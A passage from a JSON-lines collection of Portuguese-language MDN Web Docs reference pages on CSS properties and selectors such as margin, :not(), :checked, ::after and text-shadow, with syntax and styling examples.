anexo, do primeiro especificado ao último.\n\n#### CSS\n\n\n```css\np {\n  background-image: url(\"starsolid.gif\"), url(\"startransparent.gif\");\n  background-attachment: fixed, scroll;\n  background-repeat: no-repeat, repeat-y;\n}\n```\n\n\n#### HTML\n\n\n```html\n<p>\n  There were doors all round the hall, but they were all locked; and when Alice\n  had been all the way down one side and up the other, trying every door, she\n  walked sadly down the middle, wondering how she was ever to get out again.\n  Suddenly she came upon a little three-legged table, all made of solid glass;\n  there was nothing on it except a tiny golden key, and Alice's first thought\n  was that it might belong to one of the doors of the hall; but, alas! either\n  the locks were too large, or the key was too small, but at any rate it would\n  not open any of them. However, on the second time round, she came upon a low\n  curtain she had not noticed before, and behind it was a little door about\n  fifteen inches high: she tried the little golden key in the lock, and to her\n  great delight it fitted!\n</p>\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Backgrounds and Borders Module Level 3 # the-background-attachment |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Multiple backgrounds"}
{"title":":not() - CSS","text":":not()\n======\n\nResumo\n------\n\nA pseudo-classe CSS de **negação**, `:not(X)`, é uma notação funcional que recebe um seletor simples X como argumento. Ela seleciona um elemento que não é representado por seu argumento. *X* não pode conter outro seletor de negação.\n\n**Nota:** Seletores inúteis podem ser escritos usando esta pseudo-classe. Por exemplo, `:not(*)` seleciona qualquer elemento que não é algum elemento, então a regra nunca é aplicada.\n\n* É possível sobreescrever outras regras. E.g. `foo:not(bar)` vai selecionar os mesmos elementos do que o mais simples foo. No entanto a especificação é maior no exemplo com `:not`.\n* `:not(foo){} vai selecionar tudo que não for foo`, **incluindo os elementos `<html>` e `<body>`.**\n* Este seletor apenas se aplica a um elemento; não se pode usa-lo para excluir todos os seus ancestores. Por exemplo, `body :not(table) a` ainda vai ser aplicado a links dentro de tabelas, já que `<tr>` (en-US) vai ser selecionado pelo `:not()` do seletor.\n\nSintaxe\n-------\n```\n\n:not(selector) { style properties }\n```\n\nExemplos\n--------\n\n\n```css\np:not(.classico) {\n  color: red;\n}\nbody \\*:not(p) {\n  color: green;\n}\n```\n\n\nDado o CSS acima e o HTML abaixo...\n\n\n```html\n<p>Um pouco de texto.</p>\n<p class=\"classico\">Um pouco mais de texto.</p>\n<span>Mais um texto</span>\n```\n\n\nSe obtém resultados como este:\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # negation |\n\nCompatibilidade em Navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"margin - CSS","text":"margin\n======\n\nA propriedade **`margin`** do CSS define a área de margem nos quatro lados do elemento. É uma abreviação que define todas as margens individuais de uma só vez: `margin-top`, `margin-right` (en-US), `margin-bottom`, e `margin-left` (en-US).\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* Aplica para todos os quatro lados \\*/\nmargin: 1em;\n\n/\\* vertical | horizontal \\*/\nmargin: 5% auto;\n\n/\\* topo | horizontal | inferior \\*/\nmargin: 1em auto 2em;\n\n/\\* topo | direita | inferior | esquerda \\*/\nmargin: 2px 1em 0 auto;\n\n/\\* Valores globais \\*/\nmargin: inherit;\nmargin: initial;\nmargin: unset;\n```\n\n\nA propriedade `margin` pode ser especificada usando um, dois, três ou quatro valores. Cada valor deve ser um `<length>`, uma `<percentage>`, ou a palavra-chave `auto`. Cada valor pode ser positivo, zero ou negativo.\n\n* Quando **um** valor é especificado, a mesma margem é aplicada para **todos os quatro lados**.\n* Quando **dois** valores são especificados, a primeira margem é aplicada aos **lados** **superior e inferior,** e a segunda aos **lados** **esquerdo e direito**.\n* Quando **três** valores são especificados, a primeira margem é apliacada ao **topo**, a segunda aos **lados** **esquerdo e direito**, e a terceira ao **lado** **inferior**.\n* Quando **quatro** valores são especificados, as margens são aplicadas aos lados **superior**, **direito**, **inferior** e **esquerdo**, nesta ordem (sentido horário).\n### Valores\n\n**`<length>` (en-US)**\n\nO tamanho da margem como um valor fixo.\n\n`<percentage>` (en-US)\n\nO tamanho da margem como um percetual, relativo à *largura* do bloco em que o elemento está contido.\n\n`auto`\n\nO navegador seleciona uma margem adequada para utilizar. Por exemplo, em alguns casos este valor pode ser utilizado para centralizar o elemento.\n\n### Sintaxe formal\n```\n\nmargin =   \n  <'margin-top'>{1,4} (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Exemplo simples\n\n#### HTML\n\n\n```html\n<div class=\"center\">Este elemento está centralizado.</div>\n\n<div class=\"outside\">\n  Este elemento está posicionado fora de seu bloco recipiente.\n</div>\n```\n\n\n#### CSS\n\n\n```css\n.center {\n  margin: auto;\n  background: lime;\n  width: 66%;\n}\n\n.outside {\n  margin: 3rem 0 0 -3rem;\n  background: cyan;\n  width: 66%;\n}\n```\n\n### Mais exemplos\n\n\n```css\nmargin: 5%; /\\* todos os lados: margem de 5% \\*/\n\nmargin: 10px; /\\* todos os lados: margem de 10px \\*/\n\nmargin: 1.6em 20px; /\\* topo e inferior: margem de 1.6em \\*/\n/\\* esquerda e direita: margem de 20px \\*/\n\nmargin: 10px 3% 1em; /\\* topo: margem de 10px \\*/\n/\\* esquerda e direita: margem de 3% \\*/\n/\\* inferior: margem de 1em \\*/\n\nmargin: 10px 3px 30px 5px; /\\* topo: margem de 10px \\*/\n/\\* direita: margem de 3px \\*/\n/\\* inferior: margem de 30px \\*/\n/\\* esquerda: margem de 5px \\*/\n\nmargin: 2em auto; /\\* topo e inferior: margem de 2em \\*/\n/\\* caixa está horizontalmente centralizada \\*/\n\nmargin: auto; /\\* topo e inferior: margem de 0 \\*/\n/\\* caixa está horizontalmente centralizada \\*/\n```\n\nNotas\n-----\n\n### Centralização horizontal\n\nPara centralizar algo horizontalmente em navegadores modernos, você pode utilizar `display: flex; justify-content: center;`\n\nContudo, em navegadores antigos, como IE8-9 que não suporta layout flexbox, estes não estão disponíveis. Para centralizar um elemento dentro de seu pai, use `margin: 0 auto;` .\n\n### Colapso de margens\n\nÀs vezes, as margens superior e inferior de elementos são colapsadas em uma única margem que é igual à maior das duas margens. Veja Dominando margin collapsing para mais informações.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Model Module Level 3 # margin |\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `margin-bottom`: `0`\n* `margin-left` (en-US): `0`\n* `margin-right` (en-US): `0`\n* `margin-top`: `0`\n |\n| Aplica-se a | all elements, except elements with table `display` types other than `table-caption`, `table` and `inline-table`. It also applies to `::first-letter`. |\n| Inherited | não |\n| Percentages | refer to the width of the containing block |\n| Computed value | as each of the properties of the shorthand:* `margin-bottom`: the percentage as specified or the absolute length\n* `margin-left` (en-US): the percentage as specified or the absolute length\n* `margin-right` (en-US): the percentage as specified or the absolute length\n* `margin-top`: the percentage as specified or the absolute length\n |\n| Animation type | a length |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* CSS Box Model\n* Margin collapsing"}
{"title":"min-height - CSS","text":"min-height\n==========\n\nSumário\n-------\n\n A propriedade `min-height` do CSS é usado para definir a altura mínima de um determinado elemento. Ele impede que o valor usado da propriedade `height` se torne menor que o valor especificado para min-height.\n O valor de `min-height` substitui os dois `max-height` (en-US) e `height`.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements but non-replaced inline elements, table columns, and column groups |\n| Inherited | não |\n| Percentages | The percentage is calculated with respect to the height of the generated box's containing block. If the height of the containing block is not specified explicitly (i.e., it depends on content height), and this element is not absolutely positioned, the percentage value is treated as `0`. |\n| Computed value | the percentage as specified or the absolute length |\n| Animation type | a length, percentage or calc(); |\n\nSintaxe\n-------\n```\n\nsintaxe forma: \n```\nmin-height =   \n  auto                                      | (en-US)  \n  <length-percentage [0,∞]>                 | (en-US)  \n  min-content                               | (en-US)  \n  max-content                               | (en-US)  \n  fit-content( <length-percentage [0,∞]> )    \n  \n<length-percentage> =   \n  <length> (en-US)      | (en-US)  \n  <percentage> (en-US)    \n  \n```\n\n\n```\n```\n\nmin-height: 3.5em\nmin-height: 10%\nmin-height: max-content\nmin-height: min-content\nmin-height: fit-content\nmin-height: fill-available\n\nmin-height: inherit\n```\n\n### Valores\n\n`<length>`\n\nO valor fixo mínimo da altura. Veja `<length>` (en-US) para possíveis unidades. Valores negativos fazem da declaração inválida.\n\n`<percentage>`\n\nO valor fixo mínimo da altura expressado como uma `<percentage>` (en-US) do conteúdo da altura do bloco. Valores negativos fazem da declaração inválida.\n\n`max-content` \nExperimental\n\nThe intrinsic preferred height.\n\n`min-content` \nExperimental\n\nThe intrinsic minimum height.\n\n`fill-available` \nExperimental\n\nThe containing block height minus horizontal margin, border and padding. Some browsers implement an ancient name for this keyword, `available`.\n\n`fit-content` \nExperimental\n\nAccording CSS3 Box, this is a synonym of `min-content`. CSS3 Sizing defines a more complex algorithm, but no browser implements it, even in an experimental way.\n\nExemplos\n--------\n\n\n```css\ntable {\n  min-height: 75%;\n}\n\nform {\n  min-height: 0;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Box Sizing Module Level 3 # width-height-keywords |\n| CSS Box Sizing Module Level 4 # sizing-values |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `width`, `height`, `max-height` (en-US)\n* The box model (en-US), `min-width` (en-US), `box-sizing`, `height`, `max-height` (en-US)"}
{"title":":checked - CSS","text":":checked\n========\n\nA pseudo-classe **`:checked`** de um seletor CSS representa um elemento **radio** (`<input type=\"radio\">`), **checkbox** (`<input type=\"checkbox\">`) ou **option** (`<option>` em um `<select>`) que está marcada ou alternado para um estado ligado. O usuário pode mudar seu estado clicando no elemento, ou selecionando um valor diferente, nesse caso a pseudo-classe **:checked** não se aplica a esse elemento, mas vai para um elemento relevante.\n\nSintaxe\n-------\n\n\n```css\ninput:checked {\n  margin-left: 25px;\n  border: 1px solid blue;\n}\n```\n\n### Sintaxe formal\n```\n\nelemento:checked { estilos de propriedades }\n```\n\nExemplos\n--------\n\n### Exemplo de seletores\n\n\n```css\n/\\* qualquer elemento \"checkable\" \\*/\n:checked {\n  width: 50px;\n  height: 50px;\n}\n\n/\\* qualquer elemento radio \\*/\ninput[type=\"radio\"]:checked {\n  margin-left: 25px;\n}\n\n/\\* apenas elementos checkbox \\*/\ninput[type=\"checkbox\"]:checked {\n  display: none;\n}\n\n/\\* apenas elementos option \\*/\noption:checked {\n  color: red;\n}\n```\n\n\n`input[type=\"radio\"]:checked`\n\nRepresenta todos os botões de rádio na página que estão ativos\n\n`input[type=\"checkbox\"]:checked`\n\nRepresenta todos os checkboxes na página que estão ativos\n\n`option:checked`\n\nRepresenta todos os selects na página que estão selecionados\n\n### Usando checkboxes escodindos para armazenar algum valor booleano\n\n A pseudo-classe `:checked` aplicada em checkboxes escondidos, adicionado ao início de sua página pode\n ser aplicada de forma a armazenar algum booleano dinâmico para ser usado por uma regra CSS. O exemplo a seguir mostra como exibir/esconder um elemento expansível com um simples clique em um botão (download esse demo).\n\n\n```css\n#expand-btn {\n  margin: 0 3px;\n  display: inline-block;\n  font:\n    12px / 13px \"Lucida Grande\",\n    sans-serif;\n  text-shadow: rgba(255, 255, 255, 0.4) 0 1px;\n  padding: 3px 6px;\n  border: 1px solid rgba(0, 0, 0, 0.6);\n  background-color: #969696;\n  cursor: default;\n  -moz-border-radius: 3px;\n  -webkit-border-radius: 3px;\n  border-radius: 3px;\n  -moz-box-shadow:\n    rgba(255, 255, 255, 0.4) 0 1px,\n    inset 0 20px 20px -10px white;\n  -webkit-box-shadow:\n    rgba(255, 255, 255, 0.4) 0 1px,\n    inset 0 20px 20px -10px white;\n  box-shadow:\n    rgba(255, 255, 255, 0.4) 0 1px,\n    inset 0 20px 20px -10px white;\n}\n\n#isexpanded:checked ~ #expand-btn,\n#isexpanded:checked ~ \\* #expand-btn {\n  background: #b5b5b5;\n  -moz-box-shadow:\n    inset rgba(0, 0, 0, 0.4) 0 -5px 12px,\n    inset rgba(0, 0, 0, 1) 0 1px 3px,\n    rgba(255, 255, 255, 0.4) 0 1px;\n  -webkit-box-shadow:\n    inset rgba(0, 0, 0, 0.4) 0 -5px 12px,\n    inset rgba(0, 0, 0, 1) 0 1px 3px,\n    rgba(255, 255, 255, 0.4) 0 1px;\n  box-shadow:\n    inset rgba(0, 0, 0, 0.4) 0 -5px 12px,\n    inset rgba(0, 0, 0, 1) 0 1px 3px,\n    rgba(255, 255, 255, 0.4) 0 1px;\n}\n\n#isexpanded,\n.expandable {\n  display: none;\n}\n\n#isexpanded:checked ~ \\* tr.expandable {\n  display: table-row;\n  background: #cccccc;\n}\n\n#isexpanded:checked ~ p.expandable,\n#isexpanded:checked ~ \\* p.expandable {\n  display: block;\n  background: #cccccc;\n}\n```\n\n\n\n```html\n<input type=\"checkbox\" id=\"isexpanded\" />\n\n<h1>Elementos expansíveis</h1>\n<table>\n    <thead>\n        <tr><th>Coluna #1</th><th>Coluna #2</th><th>Coluna #3</th></tr>\n    </thead>\n    <tbody>\n        <tr class=\"expandable\"><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>\n        <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>\n        <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>\n        <tr class=\"expandable\"><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>\n        <tr class=\"expandable\"><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr>\n    </tbody>\n</table>\n\n<p>[some sample text]</p>\n<p><label for=\"isexpanded\" id=\"expand-btn\">Mostra ou esconder elementos</label></p>\n<p class=\"expandable\">[outra amostra de texto]</p>\n<p>[alguma amostra de texto]</p>\n</body>\n</html>\n```\n\n### Usando radioboxes escondidos para armazenar algum valor CSS booleano\n\nVocê também pode usar a pseudo-classe `:checked`aplicada a um radioboxe escondido afim de construir, por exemplo, uma **galeria de imagem onde as imagens apenas sejam exibidas no tamanho cheio com o clique do mouse em visualizar.** Veja essa demonstração como uma dica.\n\n**Nota:** Para um efeito análogo, mas baseada na pseudo-classe `:hover` sem radioboxes escondidos, veja essa demostração, tomadas a partir de uma página `:hover`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-checked |\n| Selectors Level 4 # checked |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"::after (:after) - CSS","text":"::after (:after)\n================\n\nEm CSS, **`::after`** cria um pseudo-elemento que é o último filho do elemento selecionado. Muitas vezes é usado para adicionar e melhorar o conteúdo de um elemento como a propriedade `content`. É inline por padrão.\n\n\n```css\n/\\* Adiciona uma seta após os links \\*/\na::after {\n  content: \"→\";\n}\n```\n\nSintaxe\n-------\n\nError: could not find syntax for this item\n\n**Nota:** O CSS3 introduziu a notação `::after` (com dois sinais de dois pontos) para distinguir pseudo-classes dos pseudo-elementos. Os navegadores também aceitam `:after`, introduzido no CSS2.\n\nExemplos\n--------\n\n### Uso simples\n\nVamos criar duas classes: uma para parágrafos tediosos e uma para parágrafos excitantes. Podemos então marcar cada parágrafo adicionando um pseudo-elemento ao final dele.\n\n\n```html\n<p class=\"boring-text\">Here is some plain old boring text.</p>\n<p>Here is some normal text that is neither boring nor exciting.</p>\n<p class=\"exciting-text\">\n  Contributing to MDN is easy and fun. Just hit the edit button to add new live\n  samples, or improve existing samples.\n</p>\n```\n\n\n\n```css\n.exciting-text::after {\n  content: \"<- now this \\*is\\* exciting!\";\n  color: green;\n}\n\n.boring-text::after {\n  content: \"<- BORING!\";\n  color: red;\n}\n```\n\n\n#### Visualização\n\n### Exemplos decorativos\n\nPodemos estilizar textos ou imagens na propriedade `content` praticamente de qualquer forma que quisermos.\n\n\n```html\n<span class=\"ribbon\">Observe onde a caixa de laranja está.</span>\n```\n\n\n\n```css\n.ribbon {\n  background-color: #5bc8f7;\n}\n\n.ribbon::after {\n  content: \"Observe esta caixa laranja\";\n  background-color: #ffba10;\n  border-color: black;\n  border-style: dotted;\n}\n```\n\n\n#### Visualização\n\n### Dicas\n\nO exemplo a seguir mostra o uso do `::after` pseudo-elemento em conjunto com a expressão CSS `attr()` e um atributo data personalizado `data-descr` para criar uma *dica* em forma de glossário feito em CSS puro. Verifique a visualização abaixo, ou veja este exemplo em página separada.\n\n\n```html\n<p>\n  Aqui está o exemplo ao vivo do código acima.<br />\n  Temos um pouco de\n  <span data-descr=\"collection of words and punctuation\">texto</span> aqui com\n  algumas\n  <span data-descr=\"small popups which also hide again\">dicas</span>.<br />\n  Não seja tímido, passe o mouse por cima para dar uma\n  <span data-descr=\"not to be taken literally\">olhada</span>.\n</p>\n```\n\n\n\n```css\nspan[data-descr] {\n  position: relative;\n  text-decoration: underline;\n  color: #00f;\n  cursor: help;\n}\n\nspan[data-descr]:hover::after {\n  content: attr(data-descr);\n  position: absolute;\n  left: 0;\n  top: 24px;\n  min-width: 200px;\n  border: 1px #aaaaaa solid;\n  border-radius: 10px;\n  background-color: #ffffcc;\n  padding: 12px;\n  color: #000000;\n  font-size: 14px;\n  z-index: 1;\n}\n```\n\n\n#### Visualização\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Pseudo-Elements Module Level 4 # generated-content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `::before`, `content`"}
{"title":"font-feature-settings - CSS","text":"font-feature-settings\n=====================\n\nSumário\n-------\n\nA propriedade **`font-feature-settings`** do CSS te dá controle sobre tipografia avançada nas fontes do tipo OpenType.\n\n**Nota:** Sempre que possível, deve usar o `font-variant` (en-US) propriedade abreviada ou uma propriedade extensa associada, `font-variant-ligatures` (en-US), `font-variant-caps` (en-US), `font-variant-east-asian` (en-US), `font-variant-alternates` (en-US), `font-variant-numeric` (en-US) ou `font-variant-position` (en-US).\n\nEsta propriedade é um recurso de baixo nível projetado para lidar com casos especiais onde não existe outra maneira de habilitar ou acessar um recurso de fonte OpenType.\n\nEm particular, esta propriedade CSS não deve ser usada para habilitar small caps.\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements and text. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\n/\\* Use the default settings \\*/\nfont-feature-settings: normal;\n\n/\\* Set values for OpenType feature tags \\*/\nfont-feature-settings: \"smcp\";\nfont-feature-settings: \"smcp\" on;\nfont-feature-settings: \"swsh\" 2;\nfont-feature-settings:\n  \"smcp\",\n  \"swsh\" 2;\n\n/\\* Global values \\*/\nfont-feature-settings: inherit;\nfont-feature-settings: initial;\nfont-feature-settings: unset;\n```\n\n### Valores\n\n`normal`\n\nText is laid out using default settings.\n\n`<feature-tag-value>`\n\n Ao renderizar texto, a lista de características OpenType é passada para o mecanismo de layout de texto para ativar ou desativar recursos do tipo de letra. A tag é sempre uma `<string>` (en-US) de 4 caracteres ASCII. Se possuir mais ou menos caracteres ou conter caracteres fora da faixa U+20 - U+7E, toda a propriedade é invalida.\n O valor é um inteiro positivo. As duas palavras-chaves `on` e `off` são sinônimos de `1` e `0` respectivamente. Se nenhum valor é definido, o padrão é `1`. Para características OpenType não-booleanas (ex. stylistic alternates), o valor implica em um glifo particular para ser selecionado; para valores booleanos, é um interruptor.\n\n\n### Sintaxe formal\n```\n\nfont-feature-settings =   \n  normal                | (en-US)  \n  <feature-tag-value># (en-US)    \n  \n<feature-tag-value> =   \n  <opentype-tag> [ (en-US) <integer [0,∞]> (en-US) | (en-US) on | (en-US) off ] (en-US)? (en-US)    \n  \n<opentype-tag> =   \n  <string> (en-US)    \n  \n```\n\nExemplos\n--------\n\n\n```css\n/\\* use small-cap alternate glyphs \\*/\n.smallcaps {\n  font-feature-settings: \"smcp\" on;\n}\n\n/\\* convert both upper and lowercase to small caps (affects punctuation also) \\*/\n.allsmallcaps {\n  font-feature-settings: \"c2sc\", \"smcp\";\n}\n\n/\\* enable historical forms \\*/\n.hist {\n  font-feature-settings: \"hist\";\n}\n\n/\\* disable common ligatures, usually on by default \\*/\n.noligs {\n  font-feature-settings: \"liga\" 0;\n}\n\n/\\* enable tabular (monospaced) figures \\*/\ntd.tabular {\n  font-feature-settings: \"tnum\";\n}\n\n/\\* enable automatic fractions \\*/\n.fractions {\n  font-feature-settings: \"frac\";\n}\n\n/\\* use the second available swash character \\*/\n.swash {\n  font-feature-settings: \"swsh\" 2;\n}\n\n/\\* enable stylistic set 7 \\*/\n.fancystyle {\n  font-family: Gabriola; /\\* available on Windows 7, and on Mac OS \\*/\n  font-feature-settings: \"ss07\";\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Fonts Module Level 4 # font-feature-settings-prop |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* FontFont OpenType User Guide (pdf)\n* OpenType Feature Tags list\n* Using the whole font (The -moz syntax is the old one. On Gecko, use the -ms syntax but with -moz)."}
{"title":"mix-blend-mode - CSS","text":"mix-blend-mode\n==============\n\nResumo\n------\n\nA propriedade **`mix-blend-mode`** descreve como um elemento de conteúdo deve ser mesclado com os elementos abaixo dele no background.\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n| Creates stacking context | yes |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores para esta propriedade \\*/\nmix-blend-mode: normal;\nmix-blend-mode: multiply;\nmix-blend-mode: screen;\nmix-blend-mode: overlay;\nmix-blend-mode: darken;\nmix-blend-mode: lighten;\nmix-blend-mode: color-dodge;\nmix-blend-mode: color-burn;\nmix-blend-mode: hard-light;\nmix-blend-mode: soft-light;\nmix-blend-mode: difference;\nmix-blend-mode: exclusion;\nmix-blend-mode: hue;\nmix-blend-mode: saturation;\nmix-blend-mode: color;\nmix-blend-mode: luminosity;\n\n/\\* Valores globais \\*/\nmix-blend-mode: initial;\nmix-blend-mode: inherit;\nmix-blend-mode: unset;\n```\n\n### Valores\n\n`<blend-mode>`\n\nÉ uma `<blend-mode>` que descreve qual mesclagem deve ser aplicada. Podem ser descritos vários valores, separados por vírgula.\n\n### Sintaxe formal\n```\n\nmix-blend-mode =   \n  <blend-mode>  | (en-US)  \n  plus-darker   | (en-US)  \n  plus-lighter    \n  \n<blend-mode> =   \n  normal       | (en-US)  \n  multiply     | (en-US)  \n  screen       | (en-US)  \n  overlay      | (en-US)  \n  darken       | (en-US)  \n  lighten      | (en-US)  \n  color-dodge  | (en-US)  \n  color-burn   | (en-US)  \n  hard-light   | (en-US)  \n  soft-light   | (en-US)  \n  difference   | (en-US)  \n  exclusion    | (en-US)  \n  hue          | (en-US)  \n  saturation   | (en-US)  \n  color        | (en-US)  \n  luminosity     \n  \n```\n\nExemplos\n--------\n\n\n```html\n<svg>\n  <circle cx=\"40\" cy=\"40\" r=\"40\" fill=\"red\" />\n  <circle cx=\"80\" cy=\"40\" r=\"40\" fill=\"lightgreen\" />\n  <circle cx=\"60\" cy=\"80\" r=\"40\" fill=\"blue\" />\n</svg>\n```\n\n\n\n```css\ncircle {\n  mix-blend-mode: screen;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Compositing and Blending Level 2 # mix-blend-mode |\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<blend-mode>`\n* `background-blend-mode`"}
{"title":"text-shadow - CSS","text":"text-shadow\n===========\n\nSumário\n-------\n\nA propriedade `text-shadow` acrescenta sombras ao texto. Ela aceita uma lista de sombras separadas por vírgula que serão aplicados ao texto e ao `text-decorations` do elemento.\n\nCada sombra é especificada como um deslocamento do texto, juntamente com valores opcionais de cor e raio de desfoque.\n\nMultiplas sombras são aplicadas de frente-para-trás, com a primeira sombra especificada no topo.\n\nEsta propriedade se aplica a ambos `::first-line` e `::first-letter` pseudo-elements.\n\n|  |  |\n| --- | --- |\n| Initial value | `none` |\n| Aplica-se a | all elements. It also applies to `::first-letter` and `::first-line`. |\n| Inherited | yes |\n| Computed value | a color plus three absolute lengths |\n| Animation type | a shadow list |\n\nSintaxe\n-------\n\n\n```css\n/\\* deslocamento-x | deslocamento-y | raio-de-desfoque | cor \\*/\ntext-shadow: 1px 1px 2px black;\n\n/\\* cor | deslocamento-x | deslocamento-y | raio-de-desfoque \\*/\ntext-shadow: #ccc 1px 0 10px;\n\n/\\* deslocamento-x | deslogamento-y | cor \\*/\ntext-shadow: 5px 5px #558abb;\n\n/\\* cor | deslocamento-x | deslocamento-y \\*/\ntext-shadow: white 2px 5px;\n\n/\\* deslocamento-x | deslocamento-y\n/\\* Usa o padrão para cor e raio-de-desfoque \\*/\ntext-shadow: 5px 10px;\n\n/\\* Valores globais \\*/\ntext-shadow: inherit;\ntext-shadow: initial;\ntext-shadow: unset;\n```\n\n### Valores\n\n<cor>\n\nOpcional. Pode ser especificado tanto antes quanto depois dos valores de deslocamento. Se a cor não é especificada, uma cor UA-chosen será usada.\n\n**Nota:** Se voce quer garantir a consistência entre os navegadores, especifique explicitamente uma cor.\n\n<offset-x> <offset-y>\n\n Obrigatório. These `<length>` values specify the shadow's offset from the text. `<offset-x>` specifies the horizontal distance; a negative value places the shadow to the left of the text. `<offset-y>` specifies the vertical distance; a negative value places the shadow above the text. If both values are `0`, then the shadow is placed behind the text (and may generate a blur effect when `<blur-radius>` is set).\n To find out what units you can use, see `<length>` (en-US).\n\n\n<blur-radius>\n\nOpcional. This is a `<length>` (en-US) value. If not specified, it defaults to `0`. The higher this value, the bigger the blur; the shadow becomes wider and lighter.\n\n### Formal syntax\n```\n\ntext-shadow =   \n  none                            | (en-US)  \n  [ (en-US) <color>? (en-US) && (en-US) <length> (en-US){2,3} (en-US) ] (en-US)# (en-US)    \n  \n```\n\nExemplos\n--------\n\n\n```css\n.red-text-shadow {\n  text-shadow: red 0 -2px;\n}\n```\n\n\n\n```html\n<p class=\"red-text-shadow\">\n  Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium\n  doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore\n  veritatis et quasi architecto beatae vitae dicta sunt explicabo.\n</p>\n```\n\n\n\n```css\n.white-with-blue-shadow {\n  text-shadow:\n    1px 1px 2px black,\n    0 0 1em blue,\n    0 0 0.2em blue;\n  color: white;\n  font:\n    1.5em Georgia,\n    \"Bitstream Charter\",\n    \"URW Bookman L\",\n    \"Century Schoolbook L\",\n    serif;\n}\n```\n\n\n\n```html\n<p class=\"white-with-blue-shadow\">\n  Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium\n  doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore\n  veritatis et quasi architecto beatae vitae dicta sunt explicabo.\n</p>\n```\n\n\n\n```css\n.gold-on-gold {\n  text-shadow:\n    rgba(0, 0, 0, 0.1) -1px 0,\n    rgba(0, 0, 0, 0.1) 0 -1px,\n    rgba(255, 255, 255, 0.1) 1px 0,\n    rgba(255, 255, 255, 0.1) 0 1px,\n    rgba(0, 0, 0, 0.1) -1px -1px,\n    rgba(255, 255, 255, 0.1) 1px 1px;\n  color: gold;\n  background: gold;\n}\n```\n\n\n\n```html\n<p class=\"gold-on-gold\">\n  Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium\n  doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore\n  veritatis et quasi architecto beatae vitae dicta sunt explicabo.\n</p>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Decoration Module Level 3 # text-shadow-property |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `box-shadow`"}
{"title":":last-of-type - CSS","text":":last-of-type\n=============\n\nSumário\n-------\n\nA CSS pseudo-class `:last-of-type` representa o último irmão com o nome de elemento dado na lista de filhos de seu elemento pai.\n\nSyntax\n------\n```\n\nelement:last-of-type { style properties }\n```\n\nExemplo\n-------\n\nPara selecionar o último elemento *em* dentro de um elemento `<p>`, você pode usar o seguinte:\n\n\n```css\np em:last-of-type {\n  color: lime;\n}\n```\n\n\n\n```html\n<p>\n  <em>I'm not lime :(</em>\n  <strong>I'm not lime :(</strong>\n  <em>I'm lime :D</em>\n  <strong>I'm also not lime :(</strong>\n</p>\n\n<p>\n  <em>I'm not lime :(</em>\n  <span><em>I am lime!</em></span>\n  <strong>I'm not lime :(</strong>\n  <em>I'm lime :D</em>\n  <span><em>I am also lime!</em> <strike> I'm not lime </strike></span>\n  <strong>I'm also not lime :(</strong>\n</p>\n```\n\n\n...irá resultar em:\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # last-of-type-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `:nth-last-of-type` (en-US)\n* `:first-of-type`\n* `:nth-of-type`"}
